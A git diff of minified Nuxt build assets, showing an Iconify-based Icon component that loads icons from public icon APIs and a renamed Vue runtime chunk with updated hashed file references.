t,n()),(l,b)=>c.value?(M(),ae("span",{key:0,class:z(w.value),style:ue({width:g.value,height:g.value})},null,6)):d.value?(M(),fe(We(Ot),{key:1,icon:d.value,class:z(w.value),width:g.value,height:g.value},null,8,["icon","class","width","height"])):p.value?(M(),fe(Xe(p.value),{key:2,class:z(w.value),width:g.value,height:g.value},null,8,["class","width","height"])):(M(),ae("span",{key:3,class:z(w.value),style:ue({fontSize:g.value,lineHeight:g.value,width:g.value,height:g.value})},[Ye(l.$slots,"default",{},()=>[Ze(et(e.name),1)],!0)],6))}}),mn=nt(pn,[["__scopeId","data-v-bff11e52"]]);export{mn as default}; +import{q as Te,R as ce,v as Qe,G as le,a0 as Ge,r as Ke,l as C,aa as Je,o as M,c as ae,y as z,$ as ue,x as fe,h as We,I as Xe,K as Ye,d as Ze,t as et,f as tt,_ as nt}from"./DmYen4dP.js";import{r as ot}from"./CAZilBRX.js";const Ae=Object.freeze({left:0,top:0,width:16,height:16}),Pe=Object.freeze({rotate:0,vFlip:!1,hFlip:!1}),Z=Object.freeze({...Ae,...Pe});Object.freeze({...Z,body:"",hidden:!1});({...Ae});const Ee=Object.freeze({width:null,height:null}),Fe=Object.freeze({...Ee,...Pe});function rt(e,t){const n={...e};for(const r in t){const o=t[r],s=typeof o;r in Ee?(o===null||o&&(s==="string"||s==="number"))&&(n[r]=o):s===typeof n[r]&&(n[r]=r==="rotate"?o%4:o)}return n}const st=/[\s,]+/;function it(e,t){t.split(st).forEach(n=>{switch(n.trim()){case"horizontal":e.hFlip=!0;break;case"vertical":e.vFlip=!0;break}})}function ct(e,t=0){const n=e.replace(/^-?[0-9.]*/,"");function r(o){for(;o<0;)o+=4;return o%4}if(n===""){const o=parseInt(e);return isNaN(o)?0:r(o)}else if(n!==e){let o=0;switch(n){case"%":o=25;break;case"deg":o=90}if(o){let s=parseFloat(e.slice(0,e.length-n.length));return isNaN(s)?0:(s=s/o,s%1===0?r(s):0)}}return t}const lt=/(-?[0-9.]*[0-9]+[0-9.]*)/g,at=/^-?[0-9.]*[0-9]+[0-9.]*$/g;function de(e,t,n){if(t===1)return e;if(n=n||100,typeof e=="number")return Math.ceil(e*t*n)/n;if(typeof e!="string")return e;const r=e.split(lt);if(r===null||!r.length)return e;const o=[];let s=r.shift(),i=at.test(s);for(;;){if(i){const c=parseFloat(s);isNaN(c)?o.push(s):o.push(Math.ceil(c*t*n)/n)}else o.push(s);if(s=r.shift(),s===void 0)return o.join("");i=!i}}function ut(e,t="defs"){let n="";const r=e.indexOf("<"+t);for(;r>=0;){const o=e.indexOf(">",r),s=e.indexOf("",s);if(i===-1)break;n+=e.slice(o+1,s).trim(),e=e.slice(0,r).trim()+e.slice(i+1)}return{defs:n,content:e}}function ft(e,t){return e?""+e+""+t:t}function dt(e,t,n){const r=ut(e);return ft(r.defs,t+r.content+n)}const pt=e=>e==="unset"||e==="undefined"||e==="none";function ht(e,t){const n={...Z,...e},r={...Fe,...t},o={left:n.left,top:n.top,width:n.width,height:n.height};let s=n.body;[n,r].forEach(m=>{const l=[],v=m.hFlip,x=m.vFlip;let y=m.rotate;v?x?y+=2:(l.push("translate("+(o.width+o.left).toString()+" "+(0-o.top).toString()+")"),l.push("scale(-1 1)"),o.top=o.left=0):x&&(l.push("translate("+(0-o.left).toString()+" "+(o.height+o.top).toString()+")"),l.push("scale(1 -1)"),o.top=o.left=0);let b;switch(y<0&&(y-=Math.floor(y/4)*4),y=y%4,y){case 1:b=o.height/2+o.top,l.unshift("rotate(90 "+b.toString()+" "+b.toString()+")");break;case 2:l.unshift("rotate(180 "+(o.width/2+o.left).toString()+" "+(o.height/2+o.top).toString()+")");break;case 3:b=o.width/2+o.left,l.unshift("rotate(-90 "+b.toString()+" "+b.toString()+")");break}y%2===1&&(o.left!==o.top&&(b=o.left,o.left=o.top,o.top=b),o.width!==o.height&&(b=o.width,o.width=o.height,o.height=b)),l.length&&(s=dt(s,'',""))});const i=r.width,c=r.height,a=o.width,u=o.height;let f,d;i===null?(d=c===null?"1em":c==="auto"?u:c,f=de(d,a/u)):(f=i==="auto"?a:i,d=c===null?de(f,u/a):c==="auto"?u:c);const p={},g=(m,l)=>{pt(l)||(p[m]=l.toString())};g("width",f),g("height",d);const w=[o.left,o.top,a,u];return p.viewBox=w.join(" "),{attributes:p,viewBox:w,body:s}}const gt=/\sid="(\S+)"/g,mt="IconifyId"+Date.now().toString(16)+(Math.random()*16777216|0).toString(16);let yt=0;function vt(e,t=mt){const n=[];let r;for(;r=gt.exec(e);)n.push(r[1]);if(!n.length)return e;const o="suffix"+(Math.random()*16777216|Date.now()).toString(16);return n.forEach(s=>{const i=typeof t=="function"?t(s):t+(yt++).toString(),c=s.replace(/[.*+?^${}()|[\]\\]/g,"\\$&");e=e.replace(new RegExp('([#;"])('+c+')([")]|\\.[a-z])',"g"),"$1"+i+o+"$3")}),e=e.replace(new RegExp(o,"g"),""),e}function bt(e,t){let n=e.indexOf("xlink:")===-1?"":' xmlns:xlink="http://www.w3.org/1999/xlink"';for(const r in t)n+=" "+r+'="'+t[r]+'"';return'"+e+""}function wt(e){return e.replace(/"/g,"'").replace(/%/g,"%25").replace(/#/g,"%23").replace(//g,"%3E").replace(/\s+/g," ")}function xt(e){return"data:image/svg+xml,"+wt(e)}function It(e){return'url("'+xt(e)+'")'}const pe={...Fe,inline:!1},St={xmlns:"http://www.w3.org/2000/svg","xmlns:xlink":"http://www.w3.org/1999/xlink","aria-hidden":!0,role:"img"},Ct={display:"inline-block"},H={backgroundColor:"currentColor"},Me={backgroundColor:"transparent"},he={Image:"var(--svg)",Repeat:"no-repeat",Size:"100% 100%"},ge={webkitMask:H,mask:H,background:Me};for(const e in ge){const t=ge[e];for(const n in he)t[e+n]=he[n]}const _={};["horizontal","vertical"].forEach(e=>{const t=e.slice(0,1)+"Flip";_[e+"-flip"]=t,_[e.slice(0,1)+"-flip"]=t,_[e+"Flip"]=t});function me(e){return e+(e.match(/^[-0-9.]+$/)?"px":"")}const kt=(e,t)=>{const n=rt(pe,t),r={...St},o=t.mode||"svg",s={},i=t.style,c=typeof i=="object"&&!(i instanceof Array)?i:{};for(let m in t){const l=t[m];if(l!==void 0)switch(m){case"icon":case"style":case"onLoad":case"mode":break;case"inline":case"hFlip":case"vFlip":n[m]=l===!0||l==="true"||l===1;break;case"flip":typeof l=="string"&&it(n,l);break;case"color":s.color=l;break;case"rotate":typeof l=="string"?n[m]=ct(l):typeof l=="number"&&(n[m]=l);break;case"ariaHidden":case"aria-hidden":l!==!0&&l!=="true"&&delete r["aria-hidden"];break;default:{const v=_[m];v?(l===!0||l==="true"||l===1)&&(n[v]=!0):pe[m]===void 0&&(r[m]=l)}}}const a=ht(e,n),u=a.attributes;if(n.inline&&(s.verticalAlign="-0.125em"),o==="svg"){r.style={...s,...c},Object.assign(r,u);let m=0,l=t.id;return typeof l=="string"&&(l=l.replace(/-/g,"_")),r.innerHTML=vt(a.body,l?()=>l+"ID"+m++:"iconifyVue"),ce("svg",r)}const{body:f,width:d,height:p}=e,g=o==="mask"||(o==="bg"?!1:f.indexOf("currentColor")!==-1),w=bt(f,{...u,width:d+"",height:p+""});return r.style={...s,"--svg":It(w),width:me(u.width),height:me(u.height),...Ct,...g?H:Me,...c},ce("span",r)},jt=Object.create(null),Ot=Te({inheritAttrs:!1,render(){const e=this.$attrs,t=e.icon,n=typeof t=="string"?jt[t]:typeof t=="object"?t:null;return n===null||typeof n!="object"||typeof n.body!="string"?this.$slots.default?this.$slots.default():null:kt({...Z,...n},e)}}),A=/^[a-z0-9]+(-[a-z0-9]+)*$/,R=(e,t,n,r="")=>{const o=e.split(":");if(e.slice(0,1)==="@"){if(o.length<2||o.length>3)return null;r=o.shift().slice(1)}if(o.length>3||!o.length)return null;if(o.length>1){const c=o.pop(),a=o.pop(),u={provider:o.length>0?o[0]:r,prefix:a,name:c};return t&&!$(u)?null:u}const s=o[0],i=s.split("-");if(i.length>1){const c={provider:r,prefix:i.shift(),name:i.join("-")};return t&&!$(c)?null:c}if(n&&r===""){const c={provider:r,prefix:"",name:s};return t&&!$(c,n)?null:c}return null},$=(e,t)=>e?!!((e.provider===""||e.provider.match(A))&&(t&&e.prefix===""||e.prefix.match(A))&&e.name.match(A)):!1,ze=Object.freeze({left:0,top:0,width:16,height:16}),D=Object.freeze({rotate:0,vFlip:!1,hFlip:!1}),ee=Object.freeze({...ze,...D}),Q=Object.freeze({...ee,body:"",hidden:!1});function Tt(e,t){const n={};!e.hFlip!=!t.hFlip&&(n.hFlip=!0),!e.vFlip!=!t.vFlip&&(n.vFlip=!0);const r=((e.rotate||0)+(t.rotate||0))%4;return r&&(n.rotate=r),n}function ye(e,t){const n=Tt(e,t);for(const r in Q)r in D?r in e&&!(r in n)&&(n[r]=D[r]):r in t?n[r]=t[r]:r in e&&(n[r]=e[r]);return n}function At(e,t){const n=e.icons,r=e.aliases||Object.create(null),o=Object.create(null);function s(i){if(n[i])return o[i]=[];if(!(i in o)){o[i]=null;const c=r[i]&&r[i].parent,a=c&&s(c);a&&(o[i]=[c].concat(a))}return o[i]}return Object.keys(n).concat(Object.keys(r)).forEach(s),o}function Pt(e,t,n){const r=e.icons,o=e.aliases||Object.create(null);let s={};function i(c){s=ye(r[c]||o[c],s)}return i(t),n.forEach(i),ye(e,s)}function Le(e,t){const n=[];if(typeof e!="object"||typeof e.icons!="object")return n;e.not_found instanceof Array&&e.not_found.forEach(o=>{t(o,null),n.push(o)});const r=At(e);for(const o in r){const s=r[o];s&&(t(o,Pt(e,o,s)),n.push(o))}return n}const Et={provider:"",aliases:{},not_found:{},...ze};function V(e,t){for(const n in t)if(n in e&&typeof e[n]!=typeof t[n])return!1;return!0}function _e(e){if(typeof e!="object"||e===null)return null;const t=e;if(typeof t.prefix!="string"||!e.icons||typeof e.icons!="object"||!V(e,Et))return null;const n=t.icons;for(const o in n){const s=n[o];if(!o.match(A)||typeof s.body!="string"||!V(s,Q))return null}const r=t.aliases||Object.create(null);for(const o in r){const s=r[o],i=s.parent;if(!o.match(A)||typeof i!="string"||!n[i]&&!r[i]||!V(s,Q))return null}return t}const ve=Object.create(null);function Ft(e,t){return{provider:e,prefix:t,icons:Object.create(null),missing:new Set}}function k(e,t){const n=ve[e]||(ve[e]=Object.create(null));return n[t]||(n[t]=Ft(e,t))}function te(e,t){return _e(t)?Le(t,(n,r)=>{r?e.icons[n]=r:e.missing.add(n)}):[]}function Mt(e,t,n){try{if(typeof n.body=="string")return e.icons[t]={...n},!0}catch{}return!1}let P=!1;function $e(e){return typeof e=="boolean"&&(P=e),P}function zt(e){const t=typeof e=="string"?R(e,!0,P):e;if(t){const n=k(t.provider,t.prefix),r=t.name;return n.icons[r]||(n.missing.has(r)?null:void 0)}}function Lt(e,t){const n=R(e,!0,P);if(!n)return!1;const r=k(n.provider,n.prefix);return Mt(r,n.name,t)}function _t(e,t){if(typeof e!="object")return!1;if(typeof t!="string"&&(t=e.provider||""),P&&!t&&!e.prefix){let o=!1;return _e(e)&&(e.prefix="",Le(e,(s,i)=>{i&&Lt(s,i)&&(o=!0)})),o}const n=e.prefix;if(!$({provider:t,prefix:n,name:"a"}))return!1;const r=k(t,n);return!!te(r,e)}const $t=Object.freeze({width:null,height:null}),Nt=Object.freeze({...$t,...D});""+Date.now().toString(16)+(Math.random()*16777216|0).toString(16);const G=Object.create(null);function Dt(e,t){G[e]=t}function K(e){return G[e]||G[""]}function ne(e){let t;if(typeof e.resources=="string")t=[e.resources];else if(t=e.resources,!(t instanceof Array)||!t.length)return null;return{resources:t,path:e.path||"/",maxURL:e.maxURL||500,rotate:e.rotate||750,timeout:e.timeout||5e3,random:e.random===!0,index:e.index||0,dataAfterTimeout:e.dataAfterTimeout!==!1}}const oe=Object.create(null),T=["https://api.simplesvg.com","https://api.unisvg.com"],N=[];for(;T.length>0;)T.length===1||Math.random()>.5?N.push(T.shift()):N.push(T.pop());oe[""]=ne({resources:["https://api.iconify.design"].concat(N)});function J(e,t){const n=ne(t);return n===null?!1:(oe[e]=n,!0)}function re(e){return oe[e]}const Rt=()=>{let e;try{if(e=fetch,typeof e=="function")return e}catch{}};let be=Rt();function Bt(e,t){const n=re(e);if(!n)return 0;let r;if(!n.maxURL)r=0;else{let o=0;n.resources.forEach(i=>{o=Math.max(o,i.length)});const s=t+".json?icons=";r=n.maxURL-o-n.path.length-s.length}return r}function Vt(e){return e===404}const qt=(e,t,n)=>{const r=[],o=Bt(e,t),s="icons";let i={type:s,provider:e,prefix:t,icons:[]},c=0;return n.forEach((a,u)=>{c+=a.length+1,c>=o&&u>0&&(r.push(i),i={type:s,provider:e,prefix:t,icons:[]},c=a.length),i.icons.push(a)}),r.push(i),r};function Ut(e){if(typeof e=="string"){const t=re(e);if(t)return t.path}return"/"}const Ht=(e,t,n)=>{if(!be){n("abort",424);return}let r=Ut(t.provider);switch(t.type){case"icons":{const s=t.prefix,c=t.icons.join(","),a=new URLSearchParams({icons:c});r+=s+".json?"+a.toString();break}case"custom":{const s=t.uri;r+=s.slice(0,1)==="/"?s.slice(1):s;break}default:n("abort",400);return}let o=503;be(e+r).then(s=>{const i=s.status;if(i!==200){setTimeout(()=>{n(Vt(i)?"abort":"next",i)});return}return o=501,s.json()}).then(s=>{if(typeof s!="object"||s===null){setTimeout(()=>{s===404?n("abort",s):n("next",o)});return}setTimeout(()=>{n("success",s)})}).catch(()=>{n("next",o)})},Qt={prepare:qt,send:Ht};function Gt(e){const t={loaded:[],missing:[],pending:[]},n=Object.create(null);e.sort((o,s)=>o.provider!==s.provider?o.provider.localeCompare(s.provider):o.prefix!==s.prefix?o.prefix.localeCompare(s.prefix):o.name.localeCompare(s.name));let r={provider:"",prefix:"",name:""};return e.forEach(o=>{if(r.name===o.name&&r.prefix===o.prefix&&r.provider===o.provider)return;r=o;const s=o.provider,i=o.prefix,c=o.name,a=n[s]||(n[s]=Object.create(null)),u=a[i]||(a[i]=k(s,i));let f;c in u.icons?f=t.loaded:i===""||u.missing.has(c)?f=t.missing:f=t.pending;const d={provider:s,prefix:i,name:c};f.push(d)}),t}function Ne(e,t){e.forEach(n=>{const r=n.loaderCallbacks;r&&(n.loaderCallbacks=r.filter(o=>o.id!==t))})}function Kt(e){e.pendingCallbacksFlag||(e.pendingCallbacksFlag=!0,setTimeout(()=>{e.pendingCallbacksFlag=!1;const t=e.loaderCallbacks?e.loaderCallbacks.slice(0):[];if(!t.length)return;let n=!1;const r=e.provider,o=e.prefix;t.forEach(s=>{const i=s.icons,c=i.pending.length;i.pending=i.pending.filter(a=>{if(a.prefix!==o)return!0;const u=a.name;if(e.icons[u])i.loaded.push({provider:r,prefix:o,name:u});else if(e.missing.has(u))i.missing.push({provider:r,prefix:o,name:u});else return n=!0,!0;return!1}),i.pending.length!==c&&(n||Ne([e],s.id),s.callback(i.loaded.slice(0),i.missing.slice(0),i.pending.slice(0),s.abort))})}))}let Jt=0;function Wt(e,t,n){const r=Jt++,o=Ne.bind(null,n,r);if(!t.pending.length)return o;const s={id:r,icons:t,callback:e,abort:o};return n.forEach(i=>{(i.loaderCallbacks||(i.loaderCallbacks=[])).push(s)}),o}function Xt(e,t=!0,n=!1){const r=[];return e.forEach(o=>{const s=typeof o=="string"?R(o,t,n):o;s&&r.push(s)}),r}var Yt={resources:[],index:0,timeout:2e3,rotate:750,random:!1,dataAfterTimeout:!1};function Zt(e,t,n,r){const o=e.resources.length,s=e.random?Math.floor(Math.random()*o):e.index;let i;if(e.random){let h=e.resources.slice(0);for(i=[];h.length>1;){const I=Math.floor(Math.random()*h.length);i.push(h[I]),h=h.slice(0,I).concat(h.slice(I+1))}i=i.concat(h)}else i=e.resources.slice(s).concat(e.resources.slice(0,s));const c=Date.now();let a="pending",u=0,f,d=null,p=[],g=[];typeof r=="function"&&g.push(r);function w(){d&&(clearTimeout(d),d=null)}function m(){a==="pending"&&(a="aborted"),w(),p.forEach(h=>{h.status==="pending"&&(h.status="aborted")}),p=[]}function l(h,I){I&&(g=[]),typeof h=="function"&&g.push(h)}function v(){return{startTime:c,payload:t,status:a,queriesSent:u,queriesPending:p.length,subscribe:l,abort:m}}function x(){a="failed",g.forEach(h=>{h(void 0,f)})}function y(){p.forEach(h=>{h.status==="pending"&&(h.status="aborted")}),p=[]}function b(h,I,O){const F=I!=="success";switch(p=p.filter(S=>S!==h),a){case"pending":break;case"failed":if(F||!e.dataAfterTimeout)return;break;default:return}if(I==="abort"){f=O,x();return}if(F){f=O,p.length||(i.length?j():x());return}if(w(),y(),!e.random){const S=e.resources.indexOf(h.resource);S!==-1&&S!==e.index&&(e.index=S)}a="completed",g.forEach(S=>{S(O)})}function j(){if(a!=="pending")return;w();const h=i.shift();if(h===void 0){if(p.length){d=setTimeout(()=>{w(),a==="pending"&&(y(),x())},e.timeout);return}x();return}const I={status:"pending",resource:h,callback:(O,F)=>{b(I,O,F)}};p.push(I),u++,d=setTimeout(j,e.rotate),n(h,t,I.callback)}return setTimeout(j),v}function De(e){const t={...Yt,...e};let n=[];function r(){n=n.filter(c=>c().status==="pending")}function o(c,a,u){const f=Zt(t,c,a,(d,p)=>{r(),u&&u(d,p)});return n.push(f),f}function s(c){return n.find(a=>c(a))||null}return{query:o,find:s,setIndex:c=>{t.index=c},getIndex:()=>t.index,cleanup:r}}function we(){}const q=Object.create(null);function en(e){if(!q[e]){const t=re(e);if(!t)return;const n=De(t),r={config:t,redundancy:n};q[e]=r}return q[e]}function tn(e,t,n){let r,o;if(typeof e=="string"){const s=K(e);if(!s)return n(void 0,424),we;o=s.send;const i=en(e);i&&(r=i.redundancy)}else{const s=ne(e);if(s){r=De(s);const i=e.resources?e.resources[0]:"",c=K(i);c&&(o=c.send)}}return!r||!o?(n(void 0,424),we):r.query(t,o,n)().abort}const xe="iconify2",E="iconify",Re=E+"-count",Ie=E+"-version",Be=36e5,nn=168,on=50;function W(e,t){try{return e.getItem(t)}catch{}}function se(e,t,n){try{return e.setItem(t,n),!0}catch{}}function Se(e,t){try{e.removeItem(t)}catch{}}function X(e,t){return se(e,Re,t.toString())}function Y(e){return parseInt(W(e,Re))||0}const B={local:!0,session:!0},Ve={local:new Set,session:new Set};let ie=!1;function rn(e){ie=e}let L=typeof window>"u"?{}:window;function qe(e){const t=e+"Storage";try{if(L&&L[t]&&typeof L[t].length=="number")return L[t]}catch{}B[e]=!1}function Ue(e,t){const n=qe(e);if(!n)return;const r=W(n,Ie);if(r!==xe){if(r){const c=Y(n);for(let a=0;a{const a=E+c.toString(),u=W(n,a);if(typeof u=="string"){try{const f=JSON.parse(u);if(typeof f=="object"&&typeof f.cached=="number"&&f.cached>o&&typeof f.provider=="string"&&typeof f.data=="object"&&typeof f.data.prefix=="string"&&t(f,c))return!0}catch{}Se(n,a)}};let i=Y(n);for(let c=i-1;c>=0;c--)s(c)||(c===i-1?(i--,X(n,i)):Ve[e].add(c))}function He(){if(!ie){rn(!0);for(const e in B)Ue(e,t=>{const n=t.data,r=t.provider,o=n.prefix,s=k(r,o);if(!te(s,n).length)return!1;const i=n.lastModified||-1;return s.lastModifiedCached=s.lastModifiedCached?Math.min(s.lastModifiedCached,i):i,!0})}}function sn(e,t){const n=e.lastModifiedCached;if(n&&n>=t)return n===t;if(e.lastModifiedCached=t,n)for(const r in B)Ue(r,o=>{const s=o.data;return o.provider!==e.provider||s.prefix!==e.prefix||s.lastModified===t});return!0}function cn(e,t){ie||He();function n(r){let o;if(!B[r]||!(o=qe(r)))return;const s=Ve[r];let i;if(s.size)s.delete(i=Array.from(s).shift());else if(i=Y(o),i>=on||!X(o,i+1))return;const c={cached:Math.floor(Date.now()/Be),provider:e.provider,data:t};return se(o,E+i.toString(),JSON.stringify(c))}t.lastModified&&!sn(e,t.lastModified)||Object.keys(t.icons).length&&(t.not_found&&(t=Object.assign({},t),delete t.not_found),n("local")||n("session"))}function Ce(){}function ln(e){e.iconsLoaderFlag||(e.iconsLoaderFlag=!0,setTimeout(()=>{e.iconsLoaderFlag=!1,Kt(e)}))}function an(e,t){e.iconsToLoad?e.iconsToLoad=e.iconsToLoad.concat(t).sort():e.iconsToLoad=t,e.iconsQueueFlag||(e.iconsQueueFlag=!0,setTimeout(()=>{e.iconsQueueFlag=!1;const{provider:n,prefix:r}=e,o=e.iconsToLoad;delete e.iconsToLoad;let s;if(!o||!(s=K(n)))return;s.prepare(n,r,o).forEach(c=>{tn(n,c,a=>{if(typeof a!="object")c.icons.forEach(u=>{e.missing.add(u)});else try{const u=te(e,a);if(!u.length)return;const f=e.pendingIcons;f&&u.forEach(d=>{f.delete(d)}),cn(e,a)}catch(u){console.error(u)}ln(e)})})}))}const un=(e,t)=>{const n=Xt(e,!0,$e()),r=Gt(n);if(!r.pending.length){let a=!0;return t&&setTimeout(()=>{a&&t(r.loaded,r.missing,r.pending,Ce)}),()=>{a=!1}}const o=Object.create(null),s=[];let i,c;return r.pending.forEach(a=>{const{provider:u,prefix:f}=a;if(f===c&&u===i)return;i=u,c=f,s.push(k(u,f));const d=o[u]||(o[u]=Object.create(null));d[f]||(d[f]=[])}),r.pending.forEach(a=>{const{provider:u,prefix:f,name:d}=a,p=k(u,f),g=p.pendingIcons||(p.pendingIcons=new Set);g.has(d)||(g.add(d),o[u][f].push(d))}),s.forEach(a=>{const{provider:u,prefix:f}=a;o[u][f].length&&an(a,o[u][f])}),t?Wt(t,r,s):Ce},fn=e=>new Promise((t,n)=>{const r=typeof e=="string"?R(e,!0):e;if(!r){n(e);return}un([r||e],o=>{if(o.length&&r){const s=zt(r);if(s){t({...ee,...s});return}}n(e)})});({...Nt});const ke={backgroundColor:"currentColor"},dn={backgroundColor:"transparent"},je={Image:"var(--svg)",Repeat:"no-repeat",Size:"100% 100%"},Oe={webkitMask:ke,mask:ke,background:dn};for(const e in Oe){const t=Oe[e];for(const n in je)t[e+n]=je[n]}const U={};["horizontal","vertical"].forEach(e=>{const t=e.slice(0,1)+"Flip";U[e+"-flip"]=t,U[e.slice(0,1)+"-flip"]=t,U[e+"Flip"]=t});$e(!0);Dt("",Qt);if(typeof document<"u"&&typeof window<"u"){He();const e=window;if(e.IconifyPreload!==void 0){const t=e.IconifyPreload,n="Invalid IconifyPreload syntax.";typeof t=="object"&&t!==null&&(t instanceof Array?t:[t]).forEach(r=>{try{(typeof r!="object"||r===null||r instanceof Array||typeof r.icons!="object"||typeof r.prefix!="string"||!_t(r))&&console.error(n)}catch{console.error(n)}})}if(e.IconifyProviders!==void 0){const t=e.IconifyProviders;if(typeof t=="object"&&t!==null)for(let n in t){const r="IconifyProviders["+n+"] is invalid.";try{const o=t[n];if(typeof o!="object"||!o||o.resources===void 0)continue;J(n,o)||console.error(r)}catch{console.error(r)}}}}({...ee});const pn=Te({__name:"Icon",props:{name:{type:String,required:!0},size:{type:String,default:""}},async setup(e){let t,n;const r=tt(),o=Qe(),s=e;le(()=>{var l;return(l=o.nuxtIcon)==null?void 0:l.iconifyApiOptions},()=>{var l,v,x,y,b,j;if((v=(l=o.nuxtIcon)==null?void 0:l.iconifyApiOptions)!=null&&v.url){try{new URL(o.nuxtIcon.iconifyApiOptions.url)}catch{console.warn("Nuxt Icon: Invalid custom Iconify API URL");return}if((y=(x=o.nuxtIcon)==null?void 0:x.iconifyApiOptions)!=null&&y.publicApiFallback){J("custom",{resources:[(b=o.nuxtIcon)==null?void 0:b.iconifyApiOptions.url],index:0});return}J("",{resources:[(j=o.nuxtIcon)==null?void 0:j.iconifyApiOptions.url]})}},{immediate:!0});const i=Ge("icons",()=>({})),c=Ke(!1),a=C(()=>{var l,v;return(v=(l=o.nuxtIcon)==null?void 0:l.aliases)!=null&&v[s.name]?o.nuxtIcon.aliases[s.name]:s.name}),u=C(()=>ot(a.value)),f=C(()=>[u.value.provider,u.value.prefix,u.value.name].filter(Boolean).join(":")),d=C(()=>{var l;return(l=i.value)==null?void 0:l[f.value]}),p=C(()=>{var l;return(l=r.vueApp)==null?void 0:l.component(a.value)}),g=C(()=>{var v,x,y;if(!s.size&&typeof((v=o.nuxtIcon)==null?void 0:v.size)=="boolean"&&!((x=o.nuxtIcon)!=null&&x.size))return;const l=s.size||((y=o.nuxtIcon)==null?void 0:y.size)||"1em";return String(Number(l))===l?`${l}px`:l}),w=C(()=>{var l;return((l=o==null?void 0:o.nuxtIcon)==null?void 0:l.class)??"icon"});async function m(){var l;p.value||(l=i.value)!=null&&l[f.value]||(c.value=!0,i.value[f.value]=await fn(u.value).catch(()=>{}),c.value=!1)}return le(a,m),!p.value&&([t,n]=Je(()=>m()),t=await t,n()),(l,v)=>c.value?(M(),ae("span",{key:0,class:z(w.value),style:ue({width:g.value,height:g.value})},null,6)):d.value?(M(),fe(We(Ot),{key:1,icon:d.value,class:z(w.value),width:g.value,height:g.value},null,8,["icon","class","width","height"])):p.value?(M(),fe(Xe(p.value),{key:2,class:z(w.value),width:g.value,height:g.value},null,8,["class","width","height"])):(M(),ae("span",{key:3,class:z(w.value),style:ue({fontSize:g.value,lineHeight:g.value,width:g.value,height:g.value})},[Ye(l.$slots,"default",{},()=>[Ze(et(e.name),1)],!0)],6))}}),mn=nt(pn,[["__scopeId","data-v-e702d500"]]);export{mn as default}; diff --git a/assets/CK1nJsmy.js b/_nuxt/DmYen4dP.js similarity index 99% rename from assets/CK1nJsmy.js rename to _nuxt/DmYen4dP.js index 4210432..807edf7 100644 --- a/assets/CK1nJsmy.js +++ b/_nuxt/DmYen4dP.js @@ -1,4 +1,4 @@ -const __vite__fileDeps=["./D6J_H2_Z.js","./oxvGAWOn.js","./CAZilBRX.js","./Icon.Cuzu67LG.css","./CBF0Sooc.js","./BKqHqZeU.js","./IconCSS.DlI1Mekx.css","./DbmJfLAj.js","./error-404.Cs7Z0ZwI.css","./CbFFTbVT.js","./error-500.BY691cIp.css"],__vite__mapDeps=i=>i.map(i=>__vite__fileDeps[i]); +const __vite__fileDeps=["./Db-QFXKK.js","./DjTWdmij.js","./CAZilBRX.js","./Icon.C0RCDowd.css","./DM1k_2ZE.js","./Bh2P62G0.js","./IconCSS.CegiiJ6j.css","./CyfqV1ve.js","./error-404.Cs7Z0ZwI.css","./C5pXJF1b.js","./error-500.BY691cIp.css"],__vite__mapDeps=i=>i.map(i=>__vite__fileDeps[i]); /** * @vue/shared v3.4.27 * (c) 2018-present Yuxi (Evan) You and Vue contributors @@ -15,15 +15,15 @@ const __vite__fileDeps=["./D6J_H2_Z.js","./oxvGAWOn.js","./CAZilBRX.js","./Icon. * @vue/runtime-dom v3.4.27 * (c) 2018-present Yuxi (Evan) You and Vue contributors * @license MIT -**/const Sd="http://www.w3.org/2000/svg",xd="http://www.w3.org/1998/Math/MathML",Ot=typeof document<"u"?document:null,zi=Ot&&Ot.createElement("template"),Td={insert:(e,t,n)=>{t.insertBefore(e,n||null)},remove:e=>{const t=e.parentNode;t&&t.removeChild(e)},createElement:(e,t,n,r)=>{const o=t==="svg"?Ot.createElementNS(Sd,e):t==="mathml"?Ot.createElementNS(xd,e):Ot.createElement(e,n?{is:n}:void 0);return e==="select"&&r&&r.multiple!=null&&o.setAttribute("multiple",r.multiple),o},createText:e=>Ot.createTextNode(e),createComment:e=>Ot.createComment(e),setText:(e,t)=>{e.nodeValue=t},setElementText:(e,t)=>{e.textContent=t},parentNode:e=>e.parentNode,nextSibling:e=>e.nextSibling,querySelector:e=>Ot.querySelector(e),setScopeId(e,t){e.setAttribute(t,"")},insertStaticContent(e,t,n,r,o,s){const i=n?n.previousSibling:t.lastChild;if(o&&(o===s||o.nextSibling))for(;t.insertBefore(o.cloneNode(!0),n),!(o===s||!(o=o.nextSibling)););else{zi.innerHTML=r==="svg"?`${e}`:r==="mathml"?`${e}`:e;const a=zi.content;if(r==="svg"||r==="mathml"){const l=a.firstChild;for(;l.firstChild;)a.appendChild(l.firstChild);a.removeChild(l)}t.insertBefore(a,n)}return[i?i.nextSibling:t.firstChild,n?n.previousSibling:t.lastChild]}},Ct="transition",Nn="animation",tr=Symbol("_vtc"),ri=(e,{slots:t})=>Ke(Ff,Rd(e),t);ri.displayName="Transition";const vc={name:String,type:String,css:{type:Boolean,default:!0},duration:[String,Number,Object],enterFromClass:String,enterActiveClass:String,enterToClass:String,appearFromClass:String,appearActiveClass:String,appearToClass:String,leaveFromClass:String,leaveActiveClass:String,leaveToClass:String};ri.props=Ee({},Bl,vc);const qt=(e,t=[])=>{K(e)?e.forEach(n=>n(...t)):e&&e(...t)},Gi=e=>e?K(e)?e.some(t=>t.length>1):e.length>1:!1;function Rd(e){const t={};for(const T in e)T in vc||(t[T]=e[T]);if(e.css===!1)return t;const{name:n="v",type:r,duration:o,enterFromClass:s=`${n}-enter-from`,enterActiveClass:i=`${n}-enter-active`,enterToClass:a=`${n}-enter-to`,appearFromClass:l=s,appearActiveClass:u=i,appearToClass:c=a,leaveFromClass:f=`${n}-leave-from`,leaveActiveClass:d=`${n}-leave-active`,leaveToClass:h=`${n}-leave-to`}=e,b=Ad(o),E=b&&b[0],A=b&&b[1],{onBeforeEnter:P,onEnter:y,onEnterCancelled:m,onLeave:v,onLeaveCancelled:_,onBeforeAppear:C=P,onAppear:M=y,onAppearCancelled:S=m}=t,I=(T,z,oe)=>{Vt(T,z?c:a),Vt(T,z?u:i),oe&&oe()},L=(T,z)=>{T._isLeaving=!1,Vt(T,f),Vt(T,h),Vt(T,d),z&&z()},V=T=>(z,oe)=>{const re=T?M:y,H=()=>I(z,T,oe);qt(re,[z,H]),Ji(()=>{Vt(z,T?l:s),St(z,T?c:a),Gi(re)||Qi(z,r,E,H)})};return 